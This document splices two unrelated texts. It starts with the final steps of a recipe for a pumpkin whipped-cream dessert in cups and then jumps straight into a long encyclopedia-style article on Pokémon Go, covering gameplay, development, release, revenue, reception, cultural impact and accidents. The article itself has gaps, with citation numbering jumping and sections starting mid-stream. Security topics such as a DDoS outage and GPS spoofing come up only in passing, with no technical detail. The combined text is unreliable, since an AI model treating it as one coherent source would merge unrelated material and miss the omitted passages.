Whip the heavy cream (at low speed) for 2-3 minutes until creamy and smooth. Add 2 tablespoons of granulated sugar. Increase to maximum speed and keep beating for another 2-3 minutes, until it forms soft peaks. Do not over-beat or the texture will become grainy. Set aside.
In a stainless-steel mixing bowl, whisk the eggs with the remaining granulated sugar until they have thick texture. Place in a double boiler (a pot filled with hot water, covered with a piece of cloth) and place the bowl filled with whisked eggs on top). Whisk the eggs at full speed using an electrical mixer, for about 3-4 minutes. Check the temperature of the eggs; they should feel warm to the touch. Remove from the double boiler, add the butter pecan extract and continue whisking at full speed for about 5 minutes.
Add the pumpkin mixture to the egg mixture. Stir well. Pour 1/3 of the whipped cream into the pumpkin-egg mixture; gently stir to soften the batter. Pour in the rest of the whipped cream, using a wooden spoon, gently fold the whipped cream into the pumpkin to get an airy batter.
Assembly time:
Place the filling in a piping bag. Pipe or spoon the filling into dessert cups. Level the filling with a spatula. Cover with plastic wrap and place the cups in the refrigerator for at least 2-3 hours, preferably overnight.
When you're ready to serve, pipe little mounds of butter pecan-whipped cream on top and decorate with a candied pecan. Dust with ground cinnamon, using a fine-mesh strainer.
Enjoy with a pumpkin spice latte.
Pokémon Go was released to mixed reviews; critics praised the concept, but criticized technical problems. It was one of the most used and profitable mobile apps in 2016, having been downloaded more than 500 million times worldwide by the end of the year. It is credited with popularizing location-based and AR technology, promoting physical activity, and helping local businesses grow due to increased foot traffic. However, it attracted controversy for contributing to accidents and creating public nuisances. Various governments expressed concerns about security, and some countries regulate its use. In May 2018, The Pokémon Company announced that the game had received over 800 million downloads worldwide,[1] and it has 147 million monthly active users as of May 2018.[2] As of December 2018, the game has grossed over $3 billion in worldwide revenue.[3][4]
Gameplay
Players must physically travel to explore the game's map and visit PokéStops (the smaller circular [purple, visited] or cube [blue] icons, depending on proximity) and gyms (the one large tower shown). Encountering a Treecko while in the augmented reality mode; the Poké Ball must be "thrown" to capture it by tapping on the ball and flicking it up towards the Pokémon.
After establishing a game account, players create and customize their own avatars.[5][6] Once created, an avatar is displayed on a map based on the player's geographical location. Features on the map include 'PokéStops' and 'Pokémon Gyms'. These PokéStops can be equipped with items called 'Lure Modules', which attract additional wild, and occasionally rare, Pokémon.[7][8] Gyms serve as battle locations for team-based king of the hill matches.[9] PokéStops and Gyms are typically located at places of interest.[10] These locations are re-purposed portals from Ingress, Niantic's previous augmented reality (AR) game. This has led to PokéStops and Pokémon Gyms being placed at dangerous or inconvenient locations, such as a now-deleted Gym at the Korean Demilitarized Zone.[11]
As players move within their real world surroundings, their avatars move within the game's map. Different Pokémon species reside in different areas of the world; for example, Water-type Pokémon are generally found near water.[12] When a player encounters a Pokémon, it may be viewed either in AR mode or with a live rendered, generic background.[13] AR mode uses the camera and gyroscope on the player's mobile device to display an image of a Pokémon as though it were in the real world.[14] Players can take screenshots of the Pokémon they encounter either with or without the AR mode activated.[15]
Unlike other installments in the Pokémon series, players in Pokémon Go do not battle wild Pokémon to catch them. During an encounter with a wild Pokémon, a player may throw a Poké Ball at it by flicking it from the bottom of the screen up toward the Pokémon. If the Pokémon is successfully caught, it will come under the ownership of the player. Factors in the success rate of catching a Pokémon include the Pokémon's catch rate, the timing and the type of Poké Ball used. After catching a wild Pokémon, the player is awarded two types of in-game currencies: Candies and Stardust. The Candies awarded by a successful catch depend on what evolutionary chain a Pokémon belongs to. A player can use Stardust and Candies to raise a Pokémon's "Combat Power" (CP). However, only Candies are needed to evolve a Pokémon. Each Pokémon evolution tree has its own type of Candy, which can only be used to evolve or level up. The player can also transfer the Pokémon back to the Pokémon Professor to earn one more Candy and create room for more Pokémon.[16] The ultimate goal of the game is to complete the entries in the Pokédex, a comprehensive Pokémon logbook, by catching and evolving them to collect every one in it.[note 2][17]
Although the game is free to play, it supports in-app purchases, where players can purchase additional Poké Balls and other in-game items.[18] These items include Incense (which attract Pokémon to you as you move for thirty minutes), Lure Modules, to attract Pokémon to a fixed location, and Lucky Eggs, which double experience points gained for a thirty-minute period from use. All Pokémon are displayed with a Combat Power. A Pokémon's Combat Power is a rough measure of how powerful that Pokémon is in battle. Generally, as players level up, they catch Pokémon with higher CP.[19]
Players earn experience points for various in-game activities. Players rise in level as they earn experience points (XP), with various features being progressively unlocked. Most notably, at level five, the player can battle at a Pokémon Gym and join one of three color-coded teams (red for Team Valor, blue for Team Mystic, or yellow for Team Instinct), which act as factions battling for control of Gyms within the Pokémon Go world.
In September 2016, Niantic introduced a "Buddy Pokémon" feature, which allows players to pick a Pokémon to appear alongside them on the profile screen, and receive in-game rewards and bonuses based on the chosen Pokémon.[20] The feature was released later that month.[21] During that same update, Niantic updated Pokémon Go to prevent players with rooted or jailbreaked devices from logging into the game in an effort to reduce and prevent cheating.[22]
In June 2017, Niantic announced that the game mechanics of Gyms would be revamped for a more teamwork-oriented experience;[23] Gyms were disabled on June 19, 2017, with the new Gyms being released with the next app update a few days later.[23] As of the update, Gyms included a spinnable component to receive in-game items such as Potions and Poké Balls. Additionally, Gyms are capped at containing six Pokémon, each of which must be unique in that Gym. Coins are now earned based on the amount of time the defending Pokémon has been in a Gym, as opposed to a one-per-day gym defender bonus of 10 coins per current defending Pokémon.[24] In July 2017, Raid Battles were introduced. Raid Battles consist of a group of players gathering to confront an over-leveled Pokémon located in a Gym. If the Pokémon is defeated, the players gain the chance to catch a regular version of it. Raid difficulties range from 1 to 5, with 1 being of the lowest difficulty, and 5 being the most difficult to defeat. Level 5 raids are exclusive to Legendary Pokémon. The first of these, Articuno and Lugia, were released on July 22, 2017, after the Go Fest, with Moltres and Zapdos following. From September to November, the 3 Legendary Beasts: Entei, Raikou and Suicune, were released shortly after, rotating regions every month. Following their departure, the Legendary Pokémon Ho-Oh appeared in Raid Battles from November 27, 2017, to December 12, 2017.
After the 0.85.2 update, Niantic released 50 Pokémon originally discovered in Hoenn region,[25] with two of them, Mawile and Absol, became raid bosses. On December 16, the first Legendary Pokémon from Pokémon Ruby and Sapphire, Groudon, was released.[26] On January 12, Kyogre was released.[27] On February 9, the last Pokémon of the 'Weather Trio', Rayquaza, was released alongside the latest batch of Hoenn Pokémon.[28] Another update on March 31 added a quest system, which can be completed to obtain mythical Pokémon such as Mew.[29]
Development
The concept for the game was conceived in 2014 by Satoru Iwata of Nintendo and Tsunekazu Ishihara of The Pokémon Company as an April Fools' Day collaboration with Google, called the Google Maps: Pokémon Challenge.[30] Ishihara was a fan of developer Niantic's previous transreality game, Ingress, and saw the game's concept as a perfect match for the Pokémon series.[14] Niantic used the crowdsourced[31] data from Ingress to populate the locations for PokéStops and gyms within Pokémon Go, data from Google Maps to spawn specific Pokémon on certain terrain, and map display from OpenStreetMap since December 2017.[32][33] In 2015, Ishihara dedicated his speech at the game's announcement on September 10 to Iwata, who had died two months earlier.[34] Tatsuo Nomura, who joined Niantic in 2015 after he developed the Google Maps Pokémon Challenge,[35] acted as Director and Product Manager for the game.[36] The game's soundtrack was written by longtime Pokémon series composer, Junichi Masuda, who also assisted with some of the game's design.[37] Among the game's graphic designers was Dennis Hwang, who previously created the logo of Gmail while working for Google.[38]
On March 4, 2016, Niantic announced a Japan-exclusive beta test would begin later that month, allowing players to assist in refining the game before its full release. The beta test was later expanded to other countries.[39] On April 7, it was announced that the beta would expand to Australia and New Zealand.[40] Then, on May 16, the signups for the field test were opened to the United States.[41][42] The test came to an end on June 30.[43]
At the Comic-Con 2016, John Hanke, founder of Niantic, revealed the appearances of the three team leaders: Candela (Team Valor), Blanche (Team Mystic), and Spark (Team Instinct).[44][45] Hanke conveyed that approximately 10% of the ideas for the game were implemented. Future updates, including the addition of trading, more Pokémon,[46] implementation of Pokémon Centers at PokéStops, a patch for the "three step glitch", and easier training, were also confirmed.[47] He also stated that Niantic would be continuing support for the game for "years to come".[46] In an interview with TechCrunch in September 2016, Hanke hinted that player vs. player Pokémon battles would be released in a future update.[48] In December 2016, coffeehouse chain Starbucks and telecommunications company Sprint collaborated with Nintendo to add PokéStops and gyms at certain locations of theirs throughout the United States.[49][50] That same month, a companion app for Apple Watch devices was released, which allows users to receive notifications about nearby Pokémon, but does not allow for them to be caught.[51] In January 2017, an additional 5,000 more Starbucks locations became available as gyms.[52] In February 2017, an update was released which introduced over 100 species based in the Johto region from the second generation of the core Pokémon series, which were added alongside the original 151. The update also included the addition of new berries, new Pokémon encounter mechanics, and an expanded selection of avatar clothing options.[53][54] Some of the Pokémon introduced in Ruby and Sapphire were added in late 2017, starting with a Halloween event in October and 50 more in December. A weather system was added alongside the latter, allowing real-world weather to affect gameplay.[55] In November 2018, a game developed by Game Freak and heavily inspired by Pokémon Go, Pokémon: Let's Go, Pikachu! and Let's Go, Eevee! was released on the Nintendo Switch.[56] This game will feature Pokémon Go style catching with Joy-Con and there has integration between the two games.[57] In addition, new Pokémon Meltan was revealed in September, becoming the first new Pokémon to be released through Pokémon Go.[58] On October 10, 2018, The Pokémon Company and Niantic announced plans to introduce Pokémon from Diamond and Pearl into Pokémon Go.[59] On October 12, Niantic teased one of the Generation IV Pokémon that would be coming to Pokémon Go.[60] On October 25, a feature known as Adventure Sync was announced, which will record the player's walking data in the background.[61] On October 26, Niantic announced research tasks for Bug type Pokémon that will give players a chance to catch Shedinja throughout November.[62][63]
Pokémon Go Plus
The Pokémon Go Plus, shown with wrist strap
The Pokémon Go Plus is a Bluetooth low energy wearable device, developed by Nintendo's Platform Technology Development division, that allows players to perform certain actions in the game without looking at their smart device.[64] When a player is near a Pokémon or PokéStop, the Plus vibrates.[64] The player can then press the button to capture the Pokémon or receive items from the PokéStop; the player cannot check what they have received until the next time they sign into the app on their mobile device.[14] The design consists of a Poké Ball and the shape of the Google Maps pin.[64] The decision to create the device rather than create a smart watch app was to increase uptake among players for whom a smart watch is prohibitively expensive.[65] It was released in the United Kingdom and North America on September 16, 2016.[66][67][68]
Release
Regional availability
The game's official launch began on July 6, 2016, with releases in Australia, New Zealand, and the United States. Due to server strain from high demand upon release, Niantic CEO John Hanke stated that the release in other regions was to be "paused until Niantic was comfortable" fixing the issues.[95][96] European releases started on July 13, and the game became available to most of the continent over the following ten days.[76] The Japanese launch was initially reported to be on July 20;[97] however, the game was delayed after a sponsorship deal with fast food chain McDonald's was leaked,[98][99] instead releasing two days later.[81] Although the game was proposed to be released in France on July 15, it was postponed until July 24 out of respect and due to safety concerns following a terrorist attack in Nice on July 14.[82][100] Following the shut down of third-party apps and websites in late-July 2016—significantly reducing server strain—Niantic was able to continue pushing release worldwide. Central and South America and most of Southeast Asia subsequently saw releases in early August.[84][86] Indonesia was the first Asian country to have the game playable, despite the game not being officially released in that region until August 6.[101]
In South Korea, the game was not officially released as major restrictions on the use of online mapping data exist. However, due to a glitch, a small area around Sokcho in the northeastern part of the country was considered a part of Niantic's North Korea mapping region, making the game fully playable in that area.[102][103] Numerous people took advantage of the gap to play the game. Bus tickets from the capital city of Seoul sold out and people living within Sokcho shared information on free Wi-Fi areas to tourists.[104] Players also discovered a gym in Panmunjom, along the Korean Demilitarized Zone; however, Niantic later removed it from the game.[11] Following the release of Pokémon Go in Japan, parts of Busan also became playable as parts of the city are considered part of Japan's mapping area due to the proximity of Tsushima Island.[105] The game officially released in the country in January 2017.[93]
In mainland China, Google services are banned by the Great Firewall, whereas the GPS function in the game is blocked by Niantic. Players of Pokémon Go in China had to download the game with App Store IDs from other regions and used VPN to access Google services in order to load the game, and some even used a GPS spoofing app to bypass the GPS blocking. Some players also downloaded a clone app called City Spirit Go, which was released shortly after Pokémon Go's beta test in Japan.[106] Until 2019, the official game is still unplayable in most parts of China with GPS modules being blocked in game.
During its launch in Southeast Asia in August 2016, the game officially excluded Myanmar, but users in Thailand discovered that the game was fully playable in border cities near the nation.[107] The game was released in the Balkans, Macau, and Central Asia in September 2016, and was also released throughout Africa, the Middle East, and South Asia by the end of the year.[88][89][91][92]
On September 11, 2018, the game appeared in Russia's App Store and Google Play Store over two years after the first launch. However, Niantic did not officially announce the release.[94]
Commercial response
Nintendo
Pokémon Go ' s initial release on July 7 and subsequent slump on July 25 A graph of Nintendo's stock value in July 2016 depicting the surge in investment followings initial release on July 7 and subsequent slump on July 25
Investors were buoyed by the response to the initial release of Pokémon Go on July 7, with Nintendo's share price rising by an initial 10%[108] and by July 14 shares rose to as high as 50%.[109] Despite Nintendo only owning a 32% stake in the Pokémon franchise and an undisclosed stake in Niantic,[110][111] Nintendo's market value increased by US$9 billion within five days of release of Pokémon Go.[112] The trend continued for more than a week after the game's release and by July 19, the stock value of Nintendo more than doubled as compared to pre-release. Turnover sales reached a record-breaking ¥703.6 billion (US$6.6 billion); and trading of the stock accounted for a quarter of all trades on the Tokyo Stock Exchange's main board.[113] The Financial Times believed that investors were speculating not on Pokémon Go as such, but on future Nintendo app releases being as successful as the company moves more into the mobile app market—an area they were historically reluctant to enter in the belief it would cannibalise its portable console and video game sales.[114] Nintendo plans to release four more smartphone app games by March 2017, and investors remarked that Pokémon Go showed Nintendo still has some of the "most valuable character intellectual property in the world" with franchises such as Super Mario, The Legend of Zelda, and Metroid.[115]
By July 22, Nintendo gained ¥1.8 trillion ($17.6 billion) in market capitalization since the game's launch.[116] However, following clarification from Nintendo that the company did not produce Pokémon Go nor had tangible financial gains from it, its stock fell by 18%—equating to a ¥708 billion ($6.7 billion) loss in market value—on July 25.[116][117] This was the largest single-day decline for Nintendo since 1990 and the maximum one-day exchange of finances allowed on the Tokyo Stock Exchange. The company has an approximate 13% "effective economic stake" in the game, according to Macquarie Securities.[116]
Other companies
The surge in stocks extended beyond Nintendo, with Tomy, TV Tokyo, and the Bank of Kyoto, among other companies, all seeing significant gains.[118] Similarly, Zagg, which owns a company that manufactures battery cases, saw a 25% rise in its stock in relation to Pokémon Go.[119]
Technical issues
At launch, the game suffered from frequent server outages due to extreme usage.[120] Frequent crashes and authentication errors plagued the game's release and persisted for several days. For the first two days after launch, players were unable to access the game through their Pokémon Trainer Club accounts; only Gmail-based accounts were able to gain access to the game.[121] Servers again suffered frequent outages in Australia on July 11; players blamed people in the United Kingdom for bypassing local servers and using Australian ones to play the game before its official release.[122] On July 16, a few hours after the release in many European countries, the game's servers temporarily went down.[123] The outage was claimed by a hacking group called "PoodleCorp", who said they used a DDoS attack to take them down,[124] although the problem was fixed later that day.[123][125] The next day, the servers went down again as the game was launched in Canada.[126] John Hanke issued an apology for the server issues at San Diego Comic Con 2016, stating "we weren't provisioned for what happened".[47]
Some early iOS installs of Pokémon Go required users to provide the app with full access to their Google accounts, thereby allowing the app to "access players' Gmail-based email, Google Drive-based files, photos and videos stored in Google Photos, and any other content within their Google accounts".[127][128][129] The Pokémon Company and Niantic responded to the concerns, recognizing that the iOS app, at the time, "... erroneously requests full access permission for the user's Google account ..."[130][131] However, Adam Reeve—the person who initially made claims of the security issues in a Tumblr post—later backtracked on his claim and was not "100 percent sure" it was valid.[132][133] Dan Guido, CEO of the security company Trail of Bits, analyzed the app's programming and discovered that although the game did request full account access, this did not enable third-party usage as initially conveyed. Guido found that this did enable Niantic to access people's email addresses and phone numbers unintentionally.[132] A subsequent iOS app update reduced the scope of access.[134] Niantic also issued a statement assuring users that no information was collected nor was any information beyond what was necessary to use the app accessed.[133]
Alongside server issues, Pokémon Go suffered from several glitches. One of the more prominent bugs appeared in mid-July 2016 and rendered the game's tracking feature useless. Normally, this feature shows between zero and three footprints to inform the player of how close they are to a nearby Pokémon; however, it universally became "stuck" at three steps, earning it the name "three-step-glitch".[135] Niantic removed the footstep feature altogether on July 30, sparking criticism from players. By August 1, players reported a new glitch that swaps their captured Pokémon with another creature at random.[138] Another bug, confirmed by Niantic in August, inadvertently made capturing Pokémon more difficult. Some legendary Pokémon, which are rare and powerful versions of the creatures, were also obtained by players in a glitch, though they were later removed from the accounts of the trainers to keep the game fair.[139]
Reception
Critical response
Pokémon Go released to "mixed or average" reviews, according to review aggregator Metacritic.[143] Upon release, critics called the experience enjoyable, but noted the game's technical issues.[12][140][144]
Critics praised various aspects of Pokémon Go. Oscar Dayus (Pocket Gamer) said that the game was an immensely enjoyable experience and continued with how "the very personal nature of catching Pokémon in your own neighborhood made me smile more than any game has for years".[144] Jeremy Parish (US Gamer) compared the game and its social aspects to a massively multiplayer online game.[145] Reviewers also praised the game enabling the promotion of physical exercise. Terri Schwartz (IGN) said it was "secretly the best exercise app out there" and that it changed her daily walking routine.[146] Patrick Allen (Lifehacker) wrote an article with tips about how to work out using Pokémon Go.[147] Julia Belluz (Vox) said it could be the "greatest unintentional health fad ever" and wrote that one of the results of the game that the developers may not have realized was that "it seems to be getting people moving".[148] Users took an extra 194 steps per day once they started using the app, which approximated to 26% more than usual.[149] IGN named it the 100th best video games of all time in 2018.[150]
Philip Kollar and Allegra Frank (Polygon) both agreed that Pokémon Go was "an exciting social experience", but were not sure how long the game and its popularity would last, stating it could either last for coming years or "end up as a brush fire craze that the whole gaming world is talking about for a few weeks and then is forgotten".[142]
Other critics expressed more negative opinions of the game, with many citing frequent crashes and other technical issues, along with shallow gameplay.[9] Kallie Plagge (IGN) said that although the game lacked in polish and depth, the overall experience made up for it.[140] Matt Peckham (Time) criticized the game for its frequent crashes.[9] Mike Cosimano (Destructoid) also took issue with the game, saying the original idea showed promise, but was improperly executed.[10] Kat Brewster (The Guardian) wrote that although she thought Pokémon Go was not a good game, it was "a great experience".[141] The server problems also received negative press. Miguel Concepcion (GameSpot) said that although he enjoyed the game's strong social appeal and visual design, the game's "initial iteration is a buggy mess on all levels", with one of the reasons being the constant server problems.[12] Another glitch that appeared a few days after launch was the "three-step glitch", reviewers also gave this bug negative press. Patricia Hernandez (Kotaku) said, "the three step glitch adds to what has been a terrible launch for Pokémon Go".[151] Paul Tassi (Forbes) said that due to this bug it's "anyone's best guess where Pokémon are 99% of the time" and that it "renders almost all traditional methods of tracking pointless".[152] Critics also emphasized on the large gap between the rural and urban players. Rural players seem to be at a major disadvantage when playing the game, while city players have access to more PokéStops and Gyms.[153]
Downloads and revenue
Pokémon Go rapidly rose the American iOS App Store's "Top Grossing" and "Free" charts.[154][155] The game has become the fastest game to top the App Store and Google Play, beating Clash Royale,[156] and it became the most downloaded app on the App Store of any app in their first week.[157] Within two days of release, it was installed on more than 5% of Android devices in the United States, according to SimilarWeb,[158] According to Sensor Tower, the game was downloaded more than 10 million times within a week of release, becoming the fastest such app to do so,[159] and reached 15 million global downloads by July 13.[160] According to SurveyMonkey the game became the most active mobile game in the United States ever with 21 million active users on July 12, eclipsing Candy Crush Saga's peak of 20 million.[161] By July 15, approximately 1.3 million people were playing the game in the Netherlands, despite the app not being officially released in the country at the time.[162] On the day of release in Japan, more than 10 million people downloaded the game,[163] including 1.3 million in the first three hours.[164] By July 31, the game exceeded 100 million downloads worldwide, according to App Annie and Sensor Tower.[165] On August 8, Pokémon Go reached the milestone of over 100 million downloads on Google Play alone after barely 33 days on the market.[166][167]
Through in-game purchases, the game generated more than $160 million by the end of July,[168] with App Annie reporting that Pokémon Go had generated around $10 million in revenue every day that month.[169] The same month, Sensor Tower reported that the game had passed more than $200 million in worldwide revenue, beating every existing record set by Clash of Clans and Candy Crush by a wide margin.[170] On August 12, 2016, the Financial Times reported that Pokémon Go reached $268 million in revenue after five weeks counting only the U.S., British, and German markets.[171] The average daily usage of the app on Android devices in July 2016 exceeded that of Snapchat, Tinder, Twitter, Instagram, and Facebook.[172] Due by the game's massive popularity, several app developers became focused on developing similar AR apps using available software development kits (SDK).[173] By September 2016, Pokémon Go had generated more than $440 million in worldwide revenue, according to Sensor Tower.[174] Pokémon Go reached the milestone of $600 million in revenue after only 90 days on the market, becoming the fastest mobile game ever to do so.[175]
The game was awarded five Guinness World Records in August 2016: most revenue grossed by a mobile game in its first month ($206.5 million); most downloaded mobile game in its first month (130 million downloads); most international charts topped simultaneously for a mobile game in its first month (top game in 70 different countries); most international charts topped simultaneously for a mobile game in its first month (top grossing in 55 countries simultaneously); and fastest time to gross $100 million by a mobile game (reached in 20 days on July 26).[176] By September 2016, Pokémon Go had been downloaded over 500 million times worldwide, and became the fastest game to make over $500 million in revenue.[177] Pokémon Go was awarded the App Store's breakout hit of 2016.[178] Pokémon Go was reported to be the most searched game on Google in 2016.[179] In February 2017, Pokémon Go was awarded being the best app at the Crunchies award event.[180]
Usage of the game in the United States peaked on July 15, and by mid-September, had lost 79% of its players there. Forbes said "the vaguely curious stopped playing and the more committed players ran up against a fairly unsatisfying endgame".[181] In October 2016, Niantic released a Halloween-themed event, which saw a surge in revenue up to 133% as reported by Sensor Tower, placing the game back to top of the charts of highest grossing apps. It was reported that the game earned approximately $23.3 million between October 25 and 29, up from approximately $10 million between October 18 and 22.[182] By February 2017, the game has been downloaded more than 650 million times worldwide, with a reported $1 billion in revenue made, becoming the fastest mobile game ever to do so.[183][184] By June 2017, the game was downloaded more than 750 million times,[185] with an estimated revenue of $1.2 billion according to Apptopia.[186] According to mobile app research firm Apptopia, approximately 60 million users were still playing the game a year after launch.[187] In May 2018, The Pokemon Company announced that the game reached over 800 million downloads worldwide.[1] Forbes estimates that the game may have come close to 900 million downloads as of September 2018.[188] The top five countries where it has received the most downloads are the United States (21%), Brazil (9.3%), India (8.6%), Mexico (5.5%), and Indonesia (5%).[189]
According to App Annie, Pokémon Go grossed an estimated $950 million in 2016.[190] A report from SuperData Research ranked Pokémon Go as the 9th highest grossing mobile game of 2017, estimating its revenue throughout 2017 to be $890 million.[191] Bloomberg estimated that Pokémon Go generated up to $2 billion in total revenue by late 2017.[3] Two years from its initial launch, analyst firm Sensor Tower estimated the game had grossed over $1.8 billion from in-app purchases, reporting that players around the world continue to spend $2 million each day.[192] SuperData Research estimated that, in May 2018, Pokémon Go grossed $104 million in monthly revenue and had 147 million monthly active players, its highest since Summer 2016.[2] In July 2018, Pokémon Go was the top-grossing mobile app of the month.[193] Since the introduction of trading and friends features, Sensor Tower has reported that players spend an average of $2.5 million per day.[194][195] Apptopia reported that, by September 2018, the game had grossed over $2 billion from in-app purchases;[196] the top five countries where it has received the most revenue are Japan ($670 million), the United States ($550 million), Germany ($88 million), the United Kingdom ($86 million), and Australia ($52 million).[189] It was the fourth highest-grossing game of 2018, with $1.3 billion,[4] bringing the game's total revenue to over $3 billion.[3][4]
Community and cultural impact
The game was referred to as a "social media phenomenon" which has brought people together from all walks of life.[197][198] 231 million people engaged in 1.1 billion interactions that mentioned Pokémon Go on Facebook and Instagram in the month of July.[199] Numerous media outlets referred to the surge in popularity as "Pokémon Go Mania", or simply "Pokémania".[200][201] The massive popularity of the game resulted in several unusual positive effects. For example, the game enabled players to help catch criminals and to report crimes in progress,[202][203][204][205] and has even aided law enforcement's community relations,[206] albeit with caveats.[207] Businesses also benefited from the nearby presence of PokéStops (or them being PokéStops themselves) with the concomitant influx of people,[208][209][210] and the intense exploration of communities has brought local history to the forefront.[211] The game was also seen bringing its players to places of worship, as many Pokégyms are located there.[212] Despite some criticism by religious leaders, this was received positively by religious groups, who saw it as reminding adherents to come and pray.[213] Some establishments considered purchasing lures in the game to attract additional players to PokéStops on their property.[214] Within a week of its release, a secondary market emerged for the game, both for the resell of high-level accounts on Craigslist and PlayerUp, and for the sale of expert advice on Thumbtack.[215][216] Wireless provider T-Mobile US started an offer for free data for a year for Pokémon Go sessions,[217][218] and Yelp added a filter that only shows businesses which have a PokéStop nearby.[219][220] National parks across the United States saw an influx of visitors due to the game, with "hundreds or thousands" of people visiting the National Mall and Memorial Parks in Washington, D.C. on the weekend following Pokémon Go's release in the country.[221] Small museums with PokéStops placed at exhibits also reported increased attendance, such as the McNay Art Museum in San Antonio, Texas, and the Morikami Museum and Japanese Gardens in Boca Raton, Florida.[214] Charity organizations also sought engagement from players, with animal shelters offering dog walks to people who want to hatch eggs.[222]
Players gathering around a "gym" in a park in Brest, France
Eduardo Paes, then-mayor of Rio de Janeiro, stated that he hoped the app would be released in Brazil before the start of the 2016 Summer Olympics in the city[223] (and it was, on August 3),[224] and United States presidential candidates Donald Trump and Hillary Clinton mentioned the app during their 2016 election campaigns.[225][226] In late July 2016, during a public address, the President of Italy, Sergio Mattarella, compared a political issue about the date of an incoming referendum as preposterous as the hunt for the Pokémon.[227] Shortly after the game's release, Bellator mixed martial artist Michael Page celebrated a knockout of his match opponent, Evangelista Santos by putting on a red Ash Ketchum-like hat and rolling a prop Poké Ball in Santos's direction.[228] On July 25, Dwayne Johnson released a promo video featuring MatPat and Ali-A with himself as a tough, rare Pokémon.[229]
The game was credited for popularizing AR,[230] and was praised by genderfluid groups for letting the players choose a "style" instead of "gender".[5] The game also had a positive impact among individuals with autism.[231][232][233] The "Pokémon Theme" from the animated series saw a 630% increase in listeners on music streaming platform Spotify during the month of the game's release.[234] Meanwhile, streaming services such as Hulu experienced an increased viewership of the Pokémon series and films.[235] Nintendo reported that sales of the 3DS Pokémon games rose as a result of the game's popularity.[236] A Twitch.tv channel, Twitch Plays Pokémon Go, was created that mimics the crowd-played Twitch Plays Pokémon channel, allowing viewers to direct a virtual avatar in the game using an iPhone programmed to spoof its location.[237] Niantic later issued permanent bans to those who cheated the game by means such as GPS spoofing and bots.[238] Pokémon-themed pornography increased in popularity after the release of the game. xHamster, an adult video streaming website, reported that within 5 days of the game's release, Pokémon related terms were the most searched for videos.[239][240] Another adult video streaming website, Pornhub, reported that Pokémon related searches spiked 136%.[241][242] Pokémon Go was spoofed in the Maroon 5 music video, "Don't Wanna Know".[243] In the 2016 Doctor Who Christmas special, "The Return of Doctor Mysterio", the Doctor creates a distraction by "flood[ing] the downstairs with Pokémon", causing the people to run off with their cell phones.[244] In the episode "Looking for Mr. Goodbart" from the 28th season of The Simpsons, the people of Springfield become addicted to Peekimon Get, a parody of Pokémon Go.[245]
Pokémon Go Fest in Players during theFest in Chicago in 2017
In addition to standard gameplay, the game has held several in-game and live events.[246][247][248] The first live event officially held by Niantic was held in Charlotte, North Carolina, in May 2017.[249] In July 2017, a community event was held in Grant Park, Chicago, in honor of the first anniversary of the game's release.[250] Despite the fact that almost no information about the event, including ticket prices and attractions, was released by Niantic ahead of the ticket sale, over 20,000 tickets sold out within a half hour.[251][252] During the event itself, attendees suffered connectivity issues and crashes, due to the heavy amount of localized cellular activity.[253] Afterwards, Niantic announced that they would refund everybody who bought a ticket, as well as give them $100 of in-game currency.[254] Following the event, around two dozen attendees filed suit against Niantic, seeking travel reimbursement.[255]
Following the event in Chicago, other events have been held in Chester,[256] Yokohama,[257] and San Jose.[258] In September 2017, a series of events named "Safari Zone" was held in Unibail-Rodamco shopping centers in Oberhausen, Paris and Barcelona, with events the following month in Copenhagen, Prague, Stockholm and Amstelveen.[259]
In January 2018, Niantic announced monthly community event days which aimed to get players to meet up in their local areas. During a three-hour period, players can encounter more frequent wild spawns of a particular Pokémon, an exclusive move for that Pokémon (or its evolution), the possibility of encounter a shiny form of that Pokémon, and bonuses such as extra stardust or XP.[260] Community Days in 2018 have featured Pikachu (January 20), Dratini (February 24), Bulbasaur (March 25), Mareep (April 15), Charmander (May 19), Larvitar (June 16), Squirtle (July 8), Eevee (August 11-12), Chikorita (September 22), Beldum (October 21), and Cyndaquil (November 10).[261]
Criticism and incidents
The app was criticized for using locations such as cemeteries and memorials as sites to catch Pokémon,[262] including the Auschwitz-Birkenau State Museum,[263] the United States Holocaust Memorial Museum,[264] the National September 11 Memorial & Museum,[265] Arlington National Cemetery,[266] the ANZAC War Memorial, and Hiroshima Peace Memorial Park.[267] Niantic later removed content from sensitive areas such as the Hiroshima Memorial and Holocaust Museum.[268] The game sparked complaints from Dutch company ProRail, who said that players entered their railway tracks,[269] and fire stations told players to not impede their staff by congregating outside.[270] Residents of the Sydney suburb of Rhodes became fed up with large numbers of players gathering in their area,[271] and threw water bombs at visiting players.[272] The influx of people led to dangerous traffic congestion, excessive littering, and numerous noise complaints; more than 250 parking violation tickets were issued by police. Three PokéStops were later removed from Rhodes to reduce the number of people playing.[273]
The game's distribution of PokéStops and gyms (derived from the portals in Ingress, Niantic's science fiction-themed AR game) was noted to be sparser in many minority neighborhoods in a reflection of American demographics.[274] Players in rural areas also complained about the lack of Pokémon spawns, PokéStops, and gyms in their area.[275][276][277] Niantic established a support page allowing players to request new PokéStops and gyms; however, the page was later removed.[278][279] Pokémon Go was criticized for game accessibility issues by players with physical disabilities.[280][281] The AbleGamers Foundation COO, Steve Spohn, said that when Pokémon Go was compared to other mobile games, it "excludes disabled players to a significant degree".[282]
Police departments in various countries issued warnings, some tongue-in-cheek, regarding inattentive driving, trespassing, and being targeted by criminals due to being unaware of one's surroundings.[283][284] In the state of New York, sex offenders are banned from playing the app while on parole.[285] Bosnian players were warned to stay out of minefields left over from the 1990s Bosnian War.[286] In Russia, a 21-year-old video blogger, Ruslan Sokolovsky, was arrested in September 2016 for two months after playing Pokémon Go at the Church of All Saints in Yekaterinburg,[287][288] and eventually received a suspended sentence for three and a half years in prison for charges of blasphemy.[289]
Several of these signs, like this one at Nijō Castle , were administered to castles and other monuments around Japan
People suffered various injuries from accidents related to the game,[290][291][292][293] On July 20, 2016, it was reported that an 18-year-old boy in Chiquimula, Guatemala was shot and killed while playing the game in the late evening hours.[294] This was the first reported death in connection with the app. The boy's 17-year-old cousin, who was accompanying the victim, was shot in the foot. Police speculated that the shooters used the game's GPS capability to find the two.[295] In Japan, the first accident occurred within hours of the game's release.[296] The first death in Japan attributed to Pokémon Go occurred in late August 2016. A distracted driver playing the game killed one woman and seriously injured another. The 39-year-old farmer did not notice the women crossing a street and struck them with his truck. The woman died of a broken neck. Japan's National Police Agency said it was the 79th Pokémon Go-related accident in the country.[297] On August 11, 2016, a young girl in Cambodia was reportedly killed after being hit by a car while trying to capture a Pokémon on a road. The case was the first death relating to Pokémon Go among Southeast Asian countries.[298] In January 2017, Chinese-American civilian Jiansheng Chen was shot dead while playing Pokémon Go.
